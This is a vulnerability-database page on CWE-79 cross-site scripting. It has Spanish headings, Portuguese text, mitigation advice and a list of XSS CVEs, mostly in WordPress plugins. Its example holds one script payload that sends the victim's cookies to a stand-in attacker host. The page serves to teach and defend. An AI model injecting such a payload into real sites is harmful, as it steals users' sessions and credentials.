Fallos del tipo CWE-79

29.740 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-27627HIGHKarakeep's Reddit plugin content bypasses DOMPurify sanitization, enabling stored XSSEPSS 0.4%CVE-2025-23964HIGHWordPress Google Plus Plugin <= 1.0.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-23956HIGHWordPress WP Easy Post Mailer Plugin <= 0.64 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-10720HIGHStored Cross-site Scripting (XSS) in phpipam/phpipamEPSS 0.4%CVE-2024-5036MEDIUMSina Extension for Elementor (Slider, Gallery, Form, Modal, Data Table, Tab, Particle, Free Elementor Widgets & Elementor Templates) <= 3.5.4 - Authenticated (Contributor+) DOM-Based Stored Cross-Site ScriptingEPSS 0.4%CVE-2025-52161CRITICALScholl Communications AG Weblication CMS Core v019.004.000.000 was discovered to contain a cross-site scripting (XSS) vulnerability.EPSS 0.4%CVE-2026-25488MEDIUMCraft Commerce has Stored XSS in Tax Categories (Name & Description) Fields Leading to Potential Privilege EscalationEPSS 0.4%CVE-2024-13566MEDIUMWP DataTable <= 0.2.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via id ParameterEPSS 0.4%CVE-2025-23735HIGHWordPress Infugrator plugin <= 1.0.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-23592HIGHWordPress dForms plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-23813HIGHWordPress Guten Free Options Plugin <= 0.9.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-23668HIGHWordPress ChatGPT Open AI Images & Content for WooCommerce plugin <= 2.2.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-9777MEDIUMAshe <= 2.243 - Reflected Cross-Site Scripting via add_query_arg ParameterEPSS 0.4%CVE-2025-25164HIGHWordPress Meta Accelerator plugin <= 1.0.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-23731HIGHWordPress Tax Report for WooCommerce plugin <= 2.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-26586HIGHWordPress Events Planner Plugin <= 1.3.10 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-25165HIGHWordPress Staff Directory Plugin: Company Directory Plugin <= 4.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-26563HIGHWordPress Rocket Mobile Plugin <= 0.4.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-23833MEDIUMWordPress Drop Shadow Boxes Plugin <= 1.7.10 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-23728HIGHWordPress AuMenu plugin <= 1.1.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%